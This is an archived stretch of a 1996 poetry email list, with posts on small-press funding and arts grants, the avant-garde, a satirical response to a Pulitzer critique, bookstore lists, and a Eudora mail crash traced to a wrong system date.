is taking advance orders for our newest publication
which is a selection of poems
from _r h y m m s_ by Robert Grenier.

The 12 pages are reproduced
in a loose leaf, arrangeable,
four color reproduction format,
on acid-free paper, with a handpress
printed envelope for containment.

There will be a limited edition of 110 copies made
of which 10 are signed and numbered. The pre-press
cost for the unsigned copies of this edition will be $20,
including p & h.
Libraries and instiutions are also welcome to inquire
Reserve one now. Copies will be distributed in 6 to 8 weeks.

Pavement Saw Press
7 James Street
Scotia, NY 12302

An informative article which elaborates the intricacies of Grenier's complete project of _r h y m m s_ can be found in Witz, Spring 1996.

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505. **Kevin Killian**
Re: Bad news
Wed 17 Jul 1996

At 3:58 PM 7/17/96, MAXINE CHERNOFF wrote:
>Dear Herb, Dodie, etc.,
>
>Itis obviously thecase that nowhere in the arts as they are now funded by
>government grants is aesthetic difference, complexity, depth, what have
>you, taken as a serious value.

This is Dodie. I just returned from the first of a two day arts administration seminar. Learned helpful tips like forming partnerships with non-arts organizations, such as joining forces with a save-the-swans group and putting on a production of Swan Lake and getting a corporate sponsor--that way the corporate sponsor gets to fund an arts org and an environmental org at the same time! Perhaps we could put on a Virgina Woolf festival with a save-the-wolves organization?

Also, learned that corporate funding is more and more about point of purchase advertising. A great example given was somebody put on some even and got Pepsi to hang advertisements for their event on Pepsi bottles, and for each six-pack of Pepsi purchased you get a dollar off admission to the event!

Government grants were basically jumped over--just many suggestions to get the bucks from other places.

Oh, oh =8A

↑ Index

506. **Kevin Killian**
Re: press survival
Wed 17 Jul 1996

At 5:14 PM 7/16/96, George Bowering wrote:

> *I dont know who Rickie lake is.*

Rickie (and I don't know if I'm spelling her name right) hosts one of those low-rent rip-offs Oprah--you know, talks shows where people cry and yell at one another about their perverse living situations/problems. Rickie was discovered by John Waters, played Divine's daughter in one of his movies. Waters hired her because she was a fat girl who could dance. But now that she's a talk show queen she's svelt.

Dodie

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507. **Kevin Killian**
Re: press survival
Wed 17 Jul 1996

Rickie (and I don't know if I'm spelling her name right) hosts one of those low-rent rip-offs Oprah

That should be:

Rickie (and I don't know if I'm spelling her name right) hosts one of those low-rent rip-offs OF Oprah

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508. **Louis Cabri**
my slack
Wed 17 Jul 1996

1. 756 posts & finally here now to record that my fascination remains, 2hrs later, with Ron Silliman's "modest proposal." It really is a bit of subtle cunning, once its angles are displayed in a sunny logic. I fully agree to implementat it - and will volunteer to delete my own too-infrequent posts even before they hit the screens: saving people the trouble. And will save my finger - constantly worrying over the delete key - for pleasure- seeking/-giving pursuits instead. Bliss!

2. Wal here's a mess, shows am not reading poetry
to feed a horse at the moment. The machines are hungrier right nu.

3. "Agency" seems to be where the friction lies between sociological and speculative/formal approaches.... (But when exactly was this concept rescucitated from the social sciences? Pardon my ignorance, I don't know - was it Bourdieu when he "did" Flaubert? ...Paul Smith critiques postruc theories of the "subject" with it - in Discerning the Subject 1988. It's there in a 1987 Barrett Watten essay on Louis Zukofsky and Bruce Andrews, as Bourdieu's "habitus." That essay is peculiar and telling of the problems encountered when one tries to argue-for/examine formally innovative poetry in terms of "agency." There's that long-winded book by Charles Altieri, Subjective Agency, 1994, which doesn't talk about poetry, but provides a sketch of various positions on "agency," from constructionist to essentialist, in a footnote. Steve Knapp, from an unabashedly liberal individualism, negotiates agency through Wimsatt's concrete universal to come up with the astonishing formula that "the self is a formalist," thus literary interest provides best analogue of what it is like to be an "agent in general" (Literary Interest: The Limits of Anti- Formalism) - yep. Maybe "agency" was under different guise - the authorial persona, biographical studies - before.

4. Or as Steve McCaffery has informally said it, a fold of identity onto ontology. As a formulation for "agency," this is witnessed in the problems of

representational politics in poetry, which Harryette Mullen describes in the essay in new West Coast Line mentioned previously. (Incidentally, there's a collaborative interview with her that appears in next BOO Magazine, transcribed from various responses she gave to questions after her talk and reading here in Calgary. - Qs by Jeff Derksen, S McCaffery, Fred Wah, Nicole Markotic, Cheryl Teelucksingh, the transcriber & others.)

5. Some reading found here at the house I'm "sitting": Journal of the Charles Olson Archive, including O's record of a 3-wk swordfish-hunting trip in '36 (they found them in trees); plans for a long poem then entitled "West," where he's explicit about the "Western box" he was wanting out from - although the last & first time I ever met R Creeley he denied Olson had ever used that term; worthy notes by student worthies, including Clark Coolidge and Pauline Butling, of O's Vancouver '63 seminars; O notes for an incomplete essay on "totality" as the sort of ultimate reach of an "individual" ("single intelligence") an essay which helps in reading the recent O archive retrieval "Culture and Revolution" in A flex of the M, #2.

6. Wlad Godzich's The Culture of Literacy. "[A]ny tendency to abstract general statement is a greased slide" - E.P. But Godzich has interesting things to say about the strange movements of theory down the halls of social mirrors through these years. He remarks there's no history yet done (or is there?) on historical formation of the concept of agency.

7. Some of Lenin's pieces (e.g. in Pravda) for Jn-Sept 1917, months during the crisis when the slogan "All power to the soviets!" had to be rescinded due to increasing counter- revolutionarism.

8. Chapter 4 in Thousand Plateaus on "order-words"
(slogans would be example: they cite Lenin's, above)

9. Agenda 4:2 1965 (London, ed. William Cookson), special for Pound's boiday. Anecdote from John Wieners on Pound at Spoleto poetry fest that year, together in company of Olson... "We saw LeRoi Jones' Dutchman, and asking him after, what he thought of the play, Pound said, 'Tremendous', to Charles going up the stairs." Foto of that fest prolly the one of Pound that is in Behind the State Capitol - beside the piece on Olson?

10. New Reflections on the Revolution of Our Time, Ernesto Laclau. Intrinsic to social antagonism is a constitutive outside. Take this list, for example, the Von Hall flare, or last summer, the Alfred Corn. "Von Hall" as The Actuality. His symbolic presence is enough for me. It bothers me to have the symbolic action of this listserv used as if it were an actual boundary (which is to say, as if the symbolic - boundary or no - were not actual enough). To belabour a point others have already made, this listserv's boundary is not really actual, in the sense that, if I have the interest (poetic & financial) I can meet you whoever "you" are

tomorrow if we so choose (of course, we had to have met Charles Bernstein somehow to begin with, etc etc).

-Louis

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509. **william marsh**
Re: "Marsh"crash/sorries
Wed 17 Jul 1996

Dear all -- especially all those burdened by the "error":

First, apologies. I was astonished to learn that the Eudora problems were traceable back to little-ol me. I just recently bought a new system, and it seems the people who installed my OS entered 2096 in the date column. Being, as of 1996, something of a systems dummie, I didn't bother to check it, didn't even think of it, I guess under the foolish assumption that something as rudimentary as a date would be the least of my worries as I learned to navigate this beast. Now I see the error of that assumption. So, to any who lost time, sleep or (gosh) even money to this glich, I'm truly sorry. And genuinely flabbergasted, I have to add, that the repurcussions would stretch so far and wide. The date has of course been changed, and I hope (but could never be certain) that the problem fixed.

All best,

Bill Marsh

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510. **George Bowering**
Re: [redacted]
Wed 17 Jul 1996

> *George, does that mean the birthday boy will be achieving eyebrows like Czeslaw Milosz's?*
>
> *Gwyn*

I hope so. Pierre is pretty cute; but shaggy eyebrows would make his irresistible.

I hope he doesnt develop that other thing that happens to men that are 50. They often buy convertibles and sports cars. That would take away from the eyebrows entirely.

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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511. David Baratier
Vanguard
Wed 17 Jul 1996

Thinking about the "Toward a multiplictiy of form" essay of Mark W in Witz, and remembering a riotous panel at AWP in Pittsburgh on "what constitutes the avant guarde," re-focussed my attention toward the prevailing ignorance among many of the "avant-garde" practicioners and followers regarding the issue of traditional forms. As any critique has to include oneself, or ones lay of the land, I keep running into this situation where someone asks "why did you place it in this form?" and I find myself metrically decomposing --say-- Hopkins, receiving a nod of understanding, then a subsequent accusation which parlays and reifies the individuals ignorance of the sonnet(or in this case the curtal). It's as if the revolution of Stevens (through most would call it WCW's) has led to a generalist assumptive visual form, that is to say one which is based on visual similarities sans awareness of the metrical composite. I've expressed in earlier posts my concerns with (and avoidance of) upholding the "I'm a card carrying member of the avant-guarde" position, but what about the appropriation of the avante-garde into the institutions they were in opposition with a mere 20 years ago (ie have the instituitions really changed enough to warrant the absorption) or has the linguistic codifification of the word avante-guarde turned into another marketing terminology through repetitive use.

Be well

David Baratier

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512. David Baratier
Re: [redacted]
Wed 17 Jul 1996

George, would owning a mansion detract from or enhance the eyebrow effect?

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513. MAXINE CHERNOFF

Re: Bad news

Wed 17 Jul 1996

Dear Herb, Dodie, etc.,

Itis obviously thecase that nowhere in the arts as they are now funded by government grants is aesthetic difference, complexity, depth, what have you, taken as a serious value. Having recently served on several such panels, local and national, I was depressed but not surprised at how grossly evaluations were made ("This magazine has 12 women and 7 men-- the editors must be very progressive!" etc.). When New American Writing still lived in Chicago and used to apply for Illinois grants, people would ask in panel review, "Why do they publish John Ashbery? Is he so important?" (not to mention the rest of our contributors who were far less recognizable.) Anyway, we decided to come out once yearly and to never write grants again.

As for presses that survive, they seem to somehow gain institutional credibility-- you mean you're not dead yet? Hey, let's give you a grant. But getting to that point is extremely painful. When we were still applying for grants, we were told to "build a board," etc. No one seemed to care about our publicatiuon itself in the money world.

As for New Directions, it was Herman Hesse and Tennessee Williams that finally stabilized them and allowed them to grow.

MaXINE cHERNOFF

On Tue, 16 Jul 1996, Herb Levy wrote:

> *It is obviously very sad news that Coach House is going under, and I agree with much of what people have said (& no doubt will continue to say) about the problems of distribution, marketing, and selling new, experrimental poetry to an audience of people who aren't on this e-mail list; etc. But distribution for avant garde work has always sucked, finding that audience (one person at a time) has always been a pain in the ass, & grants have rarely, if ever, been enough to support a project of the scale of Coach House.*
>
> *Historically, how many small presses have lasted thirty years or more? How many small presses from the mid-Sixties are still going strong? (For that matter, how many adventurous, experimental, or whatever non-profit arts organizations in any field have lasted this long?)*
>
> *In the US, I can think of City Lights, New Directions & Black Sparrow (which may not be quite that old), but these seem to have survived because*

> *they have reprint rights for books used in college & university courses or some other works that have guaranteed sales (is Bukowski on the syllabus anywhere?). (& yes, I do know that New Directions started with a wad of family money, but the continued survival of ND as a business is at least as related to the number of copies of books by Pound, WCW, HD, Duncan, & others that are sold to students yearly.)*
>
> *I'm not trying to minimize the impact that the loss of Coach House will have: It is (& I'm consciously using the present tense here) clearly THE major press for new poetry in Canada, they have a great backlist, they know what work is important to publish and have been able to find ways to get it out there.*
>
> *Still, I'm not sure that the forces at work here are simply the current economic state of the Corporate/State. We're not talking best sellers here. Small presses, & arts organizations in general, which last more than thirty years have developed some kind of financial stability (whether it's market share, donor base, or stylish t-shirts & gimme caps) that has been, unfortunately, all too often unrelated to artistic merit.*
>
> *Herb Levy*
> [redacted]

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514. **Steve Carll**

Re: "Marsh"crash/sorries

Wed 17 Jul 1996

Hey Bill:

My program handled your last message with no problem. I think we're in the clear!

++++++++++++++++++++++++++++
[redacted]
http://writing.upenn.edu/epc/ezines/antenym/

In seed-
sense
the sea stars you out, innermost, forever.
--Paul Celan
\\\

515. **maria damon**
Re: Bad news and good
Wed 17 Jul 1996

having served on the board of directors of a high-profile, "small" literary press that went non-profit, i can attest to the seemingly endless time we spent at meetings trying to think of rich influential people to be on the board compared to the milli-seconds spent talking about books. (i stepped down from the board cuz i ended up not really pulling my weight; i didn't know any rich influential folks in the area).

good news: michael bibby's book, Hearts and Minds: Bodies, Resistance, and Poetry in the Viet Nam Era, is out from Rutgers UP, in their perspectives on the '60s series. it's a good example of the poetry/cultural studies nexus i keep yammering about on the list, esp the chapter on GI Resistance Poetry. bests, maria d

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516. **Gjoseph Farrah**
monthly posting
Wed 17 Jul 1996

That the level reflects the night somewhat

has become a fact to build with

estimation of this content overthrown

with thunder of craftsmen started it

no longer willing to levitate with that pleasure

what becomes fixated with duration

or a simultaneous excavation of memory

wherein history as currency disappears into itself

and that is the problem again

moments churning above the apparent links

george f
(another vermin lurker)

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517. **Rod Smith**

New Perelman, Loys, Jarnot etc @ Bridge Street

Wed 17 Jul 1996

Here's another list of the latest.

1. _Becoming Modern: The Life of Mina Loy_ by Carolyn Burke, FSG, $35. "Mina was more absorbed in efforts to earn a living that spring than in her friends' antics."

2. _Scatter Matrix_ by Abigail Child, Roof, $9.95. "plecta pitchflower / coincide with pitched midi / an impulse / literally naive"

3. _Powers & Prospects: Reflections on Human Nature and the Social Order_ by Noam Chomsky, South End, $16. "The reason for this rather implausible assumption is that we do not know that it is wrong."

4. _Merchants of Misery: How Corporate America Profits from Poverty_ ed. Michael Hudson, Common Courage, $14.95. "I couldn't see how anyone could claim otherwise," he said repeatedly throughout his testimony.

5. _Some Other Kind of Mission_ by Lisa Jarnot, Burning Deck, $11. Lisa's long-awaited excellent tome. Here comes the Brooklyn Renaissance.

6. _Lotion Bullwhip Giraffe_ by Tan Lin, Sun & Moon, $10.95. "This end dupes / this dead fun."

7. _The Lost Lunar Baedeker: Poems_ by Mina Loy, FSG, $22. "A vagabond in delirium / aping the rise and fall // of ocean / of inhalation / of coition."

8. _Selected Declarations of Dependence_ by Harry Mathews, Sun & Moon, $10.95. With terrific art by Alex Katz. "Every drug has its day"

9. _The Marginalization of Poetry: Language Writing and Literary History_ by Bob Perelman, Princeton, $15.95. "Making the sentence the basic unit of composition separates the writer from three widely held positions."

10. _Charles Ives: A Life with Music_ by Jan Swafford, Norton, $30. "To assume that business is a material process, and only that, is to undervalue the average mind and heart." --Ives, not Swafford

11. _Twentieth-Century Latin American Poetry: A Bilingual Anthology_ edited by Stephen Tapscott, Texas, $24.95. Big 8 1/2 x 10" 400 page book. Variety of translators, some I'd trust, some I certainly wouldn't, but the spanish is there, so cool. "palabras que son flores que son frutos que son actos."

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the

books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We have to charge some shipping on orders outside of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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518. Charles Alexander
Re: Bad news and good
Wed 17 Jul 1996

> *having served on the board of directors of a high-profile, "small" literary press that went non-profit, i can attest to the seemingly endless time we spent at meetings trying to think of rich influential people to be on the board compared to the milli-seconds spent talking about books. (i stepped down from the board cuz i ended up not really pulling my weight; i didn't know any rich influential folks in the area).*

I think I know which press you're talking about, and it's actually one of the largest "small" literary presses, or at least one of the largest nonprofit literary presses, in the country -- and it says something that even one like that can not attract such people on the board.

But I spent time with an organization which had certain people on the board with considerable financial capability and influence. And while those people tended to be fairly generous, they were not really willing to use their influence actively and often, and in general to do the intense work nonprofit fundraising requires. Even after I was sent to The Fundraising School at their request, I returned to find them unwilling to put what I was sent to learn into practice. I'd rather have a committed and active board, willing to work hard for the organization, using whatever limited resources & influence they may have.

And with regard to time spent talking about books or not talking about books, I don't think it has to be that way, but it's a struggle to keep a board educated and interested. And sometimes can be downright confrontational. After one board retreat session about innovative writing, a board member responded that ideas presented by Sheila Murphy were "a menace to art." But I don't mind having those discussions. I do, however, believe in a division of responsibilities between board and staff. It's the staff's responsibility to develop vision, determine programs and carry them out. It is the board's responsibility, though, to try and understand the vision and why those programs exist -- and the staff's responsibility to make sure the board does understand those things. But the vision itself is generally the one of an executive director or artistic director (or whoever else they choose to ask to become involved), and not that of the board, whose role is concerned with hiring the executive (executive hires everyone else), longterm

policy, financial planning & stability (including lots of fundraising to achieve it). In smaller organizations it's generally the founder who becomes the executive director and invites/appoints a board of directors, and from that point on the board works on such things as financial stability and long-term policies. And it is true that such organizations have a board which may feel they have less stake in what happens, because they did not hire the person with the vision.

Still, I don't think all of this precludes art or even risk-taking art. But it can significantly complicate the picture.

charles

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519. **maria damon**
Re: monthly posting
Wed 17 Jul 1996

---

g farrah writes:
> That the level reflects the night somewhat
>
> has become a fact to build with
>
> estimation of this content overthrown
>
> with thunder of craftsmen started it
>
>
>
> no longer willing to levitate with that pleasure
>
> what becomes fixated with duration
>
> or a simultaneous excavation of memory
>
> wherein history as currency disappears into itself
>
> and that is the problem again
>
> moments churning above the apparent links
>
>
>

> george f
> (another vermin lurker)

nice job, you verm you.

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520. Loss Glazier
Re: eudora crash
Thu 18 Jul 1996

No Eudora crash here either.
Did the possessors of the crash copies have the latest versions?
Did they contact the "publisher"?
Any details appreciated
since these are not just words
but writing.

At 10:45 AM 7/16/96 -0500, you wrote:
>I'm sorry for everyone's Eudora problems. And while glad to see my friend
>Bill Marsh's name here so much, I'm sorry it's in such a circumstance. I had
>a feeling the problem might be with someone's internet service provider.
>
>But I'm puzzled about presumably all the systems, including my own, which
>weren't affected at all. And mine is a PC, not a MAC, running Windows 3.11,
>Eudora, Netscape, etc.
>
>charles
>
>
>
>>(Still sending, not receiving)
>>
>>For those who need to know, and for Bill Marsh in especial:
>>
>>EUDORA crashed because the server sending Bill Marsh's message dates his
>message
>>--wait for it!!!--
>> 1969
>>instead of 1996.
>>This is known to Eudora (their technicians tell me) as a BAD DATE
>>for which you get the message "Application Error Integer Divide by Zero".
>>
>>So I set my system up again, having had my server delete Bill Marsh's

>>messages, got going nicely, and dammit there was another one! The bad date
>>does not affect Winsock (which I use to interface) but does affect Netscape
>>and Eudora, on a PC486 (memory is no problem that i can see on my machine)
>>-- it has no effect on a MAC. Once again I have lost half my mail
>>(downloaded and then scrambled / garbled by a second wrong date -- origin
>>unknown: you again, Bill?))
>>
>>In any case, I'm off-line till 1 August; I can however download (horribly,
>>and sort of) through Windows 3.1 Terminal (yuck) till I fix myself up again.
>>
>>Madre dios!
>>
>>Peter.
>> + + +

confirmed) and possibly Jonathan Hayes and Tina Rotenberg as well (not yet confirmed). Admission is a mere $5.00.

THE MAGAZINE features work from the above PLUS: Fernando Pessoa as Alberto Caeiro, Jacques Debrot, Amy Garrett, Bob Heman, John Lowther, William Marsh, Fred Muratori, Joseph Noble, John Olson, Dan Raphael, Jesse Taylor-York, Tod Thilleman and Mark Wallace, all lovingly crafted for your eyes by Kristin Burkart. It's available for $2 if you come to the celebration; otherwise it's $3 plus $1.50 postage. 1-year subscriptions available for $13.50, payable to Steve Carll (he's the editor) at 106 Fair Oaks St. #3, S.F., CA 94110-2951. For more info call [redacted], or e-mail me: <[redacted]>

++++++++++++++++++++++++++++
[redacted]
http://writing.upenn.edu/epc/ezines/antenym/

In seed-
sense
the sea stars you out, innermost, forever.
--Paul Celan
\\\

--Paul Celan
\\

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523. GRAHAM W. FOUST

Proles vs. the Pulitzer

Thu 18 Jul 1996

Reprinted (sans permission, but hey, it's the people's paper) from the People's Weekly World, the official newsweekly of the Communist Party USA.

INCOHERENT "POETIC" BABBLE GETS THE PULITZER

The recent Pulitzer Prize award for poetry went to Jori [sic] Graham who teaches poetry at the Iowa Writer's Workshop at the University of Iowa in Iowa City.

After reading about the award and reading one of her "poems" within the story in the _Des Moines Register_, I was curious enough to get two of her books from the library. My suspicions were right. Her "poetry" consists of long streams of incoherent babbling. I find it hard to believe that any publisher would accept her work. It is especially hard to believe that she merits a Pulitzer Prize.

Today while thinking of the above subject, I wrote the enclosed off-the-cuff "Contro-Verse" to add to my new collection called _The Pink Pitchfork (verses for the peasantry)_. The subject of elitist awards deserves some sort of mention in PWW.

Pulitzer Prize "Poetry"

Did you ever try to read it?
Try to read heavy disjointed muck?
Try to savor the elitist rambling?
Well, I assure you, you'll get stuck.

Jori Graham wrote the last one.
Her flow of words wear on and on.
Long strings of words bump meaning out,
like when a poor thing's sanity is gone.

Take a peek at Jori's twisted "verses".
But, I warn you: do it quick.
Cuz if you linger too long,
The glop might make you sick.

--Charlotte Walker, PWW, 7/13/96

↑ Index

524. **David Golumbia**
Re: Proles vs. the Pulitzer
Thu 18 Jul 1996

Dear Frenz,

Found this on other list and stole it to repeat since it's relevance to list over-whelping, obvious:

I AM INCOHERENT AND WIN PULITZER

Dear Sir or Madam,

The recent Pulitzer Prize award for poetry went to me.
I write incoherently and lack ability to understand.

Dateline.

After re-reading the award and reading one of my "poems" within my book called _Des Moines Register_, I was curious. Suspicious. Historically, "poetry" consists of long streams of incoherent babbling. I find it a publisher. I accept my work. It is especially hard to believe that I have won a Pulitzer Prize.

Today while writing the off-the-cuff "Contro-Verse" to add to my Pulitzer Prize, the subject of my elitist understanding of my own work and life occurred to me, and I realize now desrves mention in Weekly World News.

Here is the poem of mine which won the Pulitzer Prize:

HOW TO WIN PULITZER PRIZE BY DRAWING
HUCK, OUR FRIENDLY RABBIT
by WEEKLY WORLD NEWS COLUMNIST

Try to read heavy disjointed muck --
Charlotte Walker, WWW, 7/13/96
Did you ever try to read it?
Did you ever try to read it?
Well, I assure you, you'll get the Pulitzer
Prize. I wrote it and I did.
Now I savor the elitist rambling.

My flow is words, wearing on and on.
Jori Graham wrote the last one.
Whos next, Galway Kinnell?
Whos next, William Stafford?
Whos next, Richard James?
Whos next, X. J. Kennedy?

Im like a poor thing. My sanity is gone.
Long strings of words bump meaning out.

This is result of winning Pulitzer Prize
For writing incoherent verse like mine.
I do it quick.
I rip off Jori Grahams versus
I rip off Johnny Rotten -- yeah, great.
I cut off my finger.
I win Pulitzer Prize.

Thank you very much.

--
[redacted]
David Golumbia

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525. **Robert A Harrison**
Re(2): eudora crash
Thu 18 Jul 1996

---

there's such a thing as the year 2000 problem, caused by bad date management.

its been a hot topic in the programming community, and now here it is on poetics.

attached are some descriptions of the problem, etc.

bob harrison

~~~

from http://www.cai.com/products/ca2000/disc2000.htm#challenge

The Challenge Of The New Millennium

January 1, 2000. The dawn of the new millennium strikes fear in the hearts of Information Systems professionals. And for good reason. If no action is taken, the crippling effect of disabled enterprise systems will be devastating. As this inescapable deadline approaches, some crucial questions must be addressed. Are all your systems ready for the Year 2000? Will your applications continue to process date information accurately? Or will they collapse on or before January 1, 2000?

Information Systems professionals who have yet to address this issue will find that time is quickly running out. Consider the fact that every line of code must be scrutinized to ensure Year 2000 compliance. For many enterprises, that's 50
~~~

to 100 million lines of code to be inspected at an estimated cost of $0.50 to $1.00 per line--a substantial expense not accounted for in most enterprise budgets. Consider too, that a Year 2000 initiative typically requires many person-years to complete. For example, a company with 20 million lines of code or 5,000 to 10,000 programs that require modification would face costs of $10 to $20 million for a manual conversion process and 24 person-years to complete. This is just to keep the existing systems in production and includes no provision for new enhancements or new technology of any sort. The time, cost and effort involved in a Year 2000 initiative is further exacerbated by a lack of adequate documentation for the complex program logic of existing systems, the absence of the original programmers, and the challenges inherent in managing a project of this scope and magnitude.

As time runs out, the millennium date change will likely become your primary IS concern. After all, it has the potential of derailing all your other IS initiatives and significantly impacting the competitiveness of your enterprise. What can you do to ensure that your Year 2000 initiative is thorough, cost-effective and efficient?

and from http://www.bozemanlegg.com/year2000.html

To put it simply, the Year 2000 Problem stems from the fact that most software programs were written using the date format: MM/DD/YY. As you can see, there is no way the computer can distinguish between the 20th and the 21st centuries. This is a major problem for the thousands of companies that rely on computers for their everyday business.

It was estimated that 20 percent of business applications would fail because of invalid date computations in 1995, according to the Gartner Group. Without corrective measures, this number is estimated to increase to more than 90 percent by 1999, potentially resulting in interruptions of service due to errors in mission-critical systems. Application failure includes programs ending abnormally, or worse, returning incorrect results to the trusting user.

Who will be affected?

Just about every business that uses computers, especially those in data and date
intensive industries, such as finance, insurance, and retailing.

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526. Brigham Taylor
Poetry Funding
Thu 18 Jul 1996

This is in response to Dodie's account of an arts grants board's attitudes toward literature in general and poetry in particular. Why is it that people who can be very sophisticated regarding innovations in visual art, music, etc. are so reactionary when it comes to poetry? I wonder if it's that unless people have a specific interest in poetry, its marginal status in the world of the arts leads many perhaps well intentioned people to regard it as a means to an end. They consider its value to be in the "exthpression of perthonal feelingth" and therefore its function becomes principally theraputic (we can thank Mrs. Sexton's shrink for this). Therefore an individual can "let out emotionth" and become happy and balanced. Or on a collective level, it becomes a means of "sharing your feelingth," a means of achieving multicultural understanding. Of course the unspoken and unexamined assumption behind such a position is that poetry is not valuable as living art forms, that the great poems have already been written, and there is no reason to take it seriously. But even if we acknowledge the validity of everyone's experience of the world, it does not follow that all formal expressions of this experience are of equal value. No matter how worthy the political, theraputic or educational goal might be, to regard the chief function of any art form as a means of achieving that goal serves only to devalue and and limit the potential of that art form.

A mini manifesto for my first post.... lurker no more!

Brigham Taylor
[redacted]

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527. Charles Alexander
Jewish women artists
Thu 18 Jul 1996

Please spread the word about this.
Thanks,

charles

> *Return-Path:* [redacted]
> *Date:* *Wed, 17 Jul 1996 23:47:35 -0700*
> *Reply-To:* "*The Book Arts: binding, typography, collecting*"
> <[redacted]>
> *Sender:* "*The Book Arts: binding, typography, collecting*"
> <[redacted]>
> *From:* "*Judith A. Hoffberg*" <[redacted]>

> *Subject: Jewish women artists*
> *To: Multiple recipients of list BOOK_ARTS-L*
> *<[redacted]>*
> *X-UIDL: 7f500e393d7deab9797846b8e44dc5c9*
>
> *To women book artists:*
>
> *I am making a proposal for a museum exhibition of Jewish Women Artists who make books. I am seeking them in North America and in the rest of the world. If you are, or know a Jewish woman artist who is making artist books or who has made artist books in the past or who might even attempt to make a special book for the exhibition, please have them contact me. I want to see who will respond to this call. I would not mind if anyone posted this on another Listserv, since I am in the process of leaving for New York City for a week. So--spread the word and let me see if there are identifiable artists in this category--enough beyond my own list to create a fascinating show called Women of the Book.*
>
> *Judith*
> *Judith A. Hoffberg*
> *Umbrella/Umbrella Editions*
> *P.O. Box 3640*
> *Santa Monica, CA 90408*
> *[redacted]/fax:[redacted]*
> *[redacted]*

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528. **Ken Norris**
Somewhere Across the Border #3
Thu 18 Jul 1996

The third issue of SOMEWHERE ACROSS THE BORDER, a Canadian Interactive Poetry Magazine, is currently available for viewing at

www.letelier.com/sab/sab.html

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529. **Tony Green**
Re: Carla Harryman and Barrett Watten
Thu 18 Jul 1996

"North American Language Writing Artists". Haven't seen that one before, but quite like that as a Brit way of advertising C.H. & B.W. best

Tony Green,
e-mail: [redacted]

↑ Index

530. **Tony Green**
Re: poetry performance
Thu 18 Jul 1996

Chris Whipple, please re-read what i wrote. It's not saying what you think it is saying. Nothing to do with emoting. best

Tony Green,
e-mail: [redacted]

↑ Index

531. **Bill Luoma**
growlie
Thu 18 Jul 1996

We're getting more than one and a half times
the science we originally anticipated.
We're getting more science each orbit
and are able to accept larger programs.

↑ Index

532. **George Bowering**
Re: [redacted]
Thu 18 Jul 1996

> *George, would owning a mansion detract from or enhance the eyebrow effect?*

It would depend on whether the mansion has eyebrow windows, my wife's favourite kind of windows.

Come to think of it, Pierre is one of my wife's favourite men.

Hmmm.

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

533. **George Bowering**
Re: press survival
Thu 18 Jul 1996

Dodie,

Thanks for the information on Rickie Lake. No relation to Veronica Lake, I guess. Sigh. Veronica Lake. It was she who first made me think of the possibility of manipulating parts of my own body so that I might somehow respond to the inchoate thrill Ms Lake's visage seemed to emanate, if that is possible. I take it that R. Lake does not have that effect, except maybe on strange people such as, maybe, David Bromige. That's just a speculation, mind you. I have never discussed TV with David. But we did have martinis at a soccer game together last sunday.

I am so damned ignorant about some parts of popular culture, and knowledgeable about others. 5 years ago I knew all about Marvel Comics and the World Wrestling federation, but I didnt recognize the name of the fashion guru-ess people were mentioninbg on this list last year, the one who apparently teaches people to make cocktail dresses out of old popsicle sticks.

I do know who Divine was, though.

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

534. **George Bowering**
Re: Bad news
Thu 18 Jul 1996

> *Perhaps we could put on a Virgina*
> *Woolf festival with a save-the-wolves organization?*
>
> *Dodie.*

How about a Virginia Woolf festival with a save-the-river organization?

.....
"Lifting belly is so kind."

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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535. Gwyn McVay
Re: [redacted]
Thu 18 Jul 1996

George,

OK, I'll bite: what is an eyebrow window?

Keep dem European smoothies away from da wife.

Gwyn

↑ Index

536. Eliza McGrand- CVA Guest
feelength, nothing more than feelength... try to forget
Thu 18 Jul 1996

---

this problem about poetry being regarded as "principally therapeutic" (from Brigham Taylor's message) is at the heart of the victim art controversy i mentioned on earlier posting.

on the one hand, writing, especially poetry, is for many fueled by internal emotional jihads and hurricanes. also writing has a long history as force for social change, especially when an issue is placed within a personal narrative. on the other hand, emotional flux does not, as such, automatically make a writer, either in that one having it will be a writer or that one writing must have it. ditto issues needing social change.

perhaps dodie's gulf war fellow might be considered an example of the latter -- fellow feeling in need of a cause to be credible.

what is the place of a writer with a personal issue/cause for social change? my personal feeling is that one needs to be very, very wary of falling into the trap

of letting one's victimhood, neediness, social credentials be used, or considered to, or overwhelm the art.

re: b. taylor's message, though we swipe at what sexton's work is sometimes used to justify, and though new unsavory biographical tidbits continue to come out almost hourly, her work still stands on its own incredible power and brilliance. consider a more extreme case -- lillian hellman. here we have someone whose "autobiographical" work is coming into increasing question even as her biographical details emerge as increasingly despicable. the autobiographical works, seen as complete fiction, are fascinating, books about how we'd LIKE to think art and writing and writers are... but CAN they be seen as complete fiction? can we ever divorce the text from its supposed biographical context? think of cellini... [probably even better example of this but he comes to mind right now].

e

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537. **Daniel Salmon**
Re: eudora crash
Thu 18 Jul 1996

Mine was running eudora 154, but is a fairly small 486, which could contribute to the problem i guess, the strange thing is that when both i and my provider (at different times) tried to look at it through netscape 2 it came up with the same error, it was only when i looked at it in the old netscape with its less complex mail prog. that i could get in and delete the corrupt message.

Dan

At 01:54 AM 7/18/96 -0400, you wrote:
>No Eudora crash here either.
>Did the possessors of the crash copies have the latest versions?
>Did they contact the "publisher"?
>Any details appreciated
>since these are not just words
>but writing.

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538. **Tristan D. Saldana**
Re: Proles vs. the Pulitzer
Thu 18 Jul 1996

On Thu, 18 Jul 1996, GRAHAM W. FOUST wrote:

> *INCOHERENT "POETIC" BABBLE GETS THE PULITZER*
>
